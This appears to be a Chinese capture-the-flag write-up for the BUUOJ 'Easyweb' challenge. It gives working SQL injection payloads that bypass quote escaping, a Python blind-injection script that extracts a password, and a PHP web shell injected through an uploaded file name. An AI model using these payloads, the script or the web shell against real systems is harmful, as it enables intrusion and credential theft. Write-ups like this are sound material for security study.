地址
https://buuoj.cn/challenges#[CISCN2019%20%E6%80%BB%E5%86%B3%E8%B5%9B%20Day2%20Web1]Easyweb
首先通过robots.txt发现存在.bak备份文件,尝试后获取到image.php.bak文件,代码如下:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
大致猜测需要sql注入
这里单引号被过滤,由于存在转义函数addslashes以及\0 '等也被过滤,构造payload:
http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=\0'&path= or 1=1%23
即可,后端拼接后端sql语句为
select * from images where id='\' or path=' or 1=1#
成功绕过where条件
构造payload:
http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23
可知拼接后密码长度为20位,这里表名users和字段名password是猜的,也可以通过对information_schema库进行注入获取。
获取长度后即可写脚本注入了,代码如下:
import requests
import time
name=''
for j in range(1,21):
l = 32
h = 127
while abs(l-h)>1:
i=int((l+h)/2)
url="http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=\\0'&path= or ascii(substr((select password from users),"+str(j)+",1))>"+str(i)+"%23"
r = requests.get(url)
time.sleep(0.005)
if r.status_code=='429':
print('to fast')
if not 'Content-Length' in r.headers:
l = i
else:
h = i
name += chr(h)
print(name)
同理也可以获取username,但是可以猜出来是admin。这里sql注入时注意如果脚本中where条件使用=时,注入结果有很多0因为sql中字符与0相等,这里被坑了一下。
注入成功后登录,文件上传,会将文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i
过滤,可以使用短标签绕过:
filename="<?=$_GET['cmd']; eval($_POST['cmd']); ?>"
使用菜刀连接,flag在根目录。
短标签<? ?>需要php.ini开启short_open_tag = On,但<?= ?>不受该条控制。
网友评论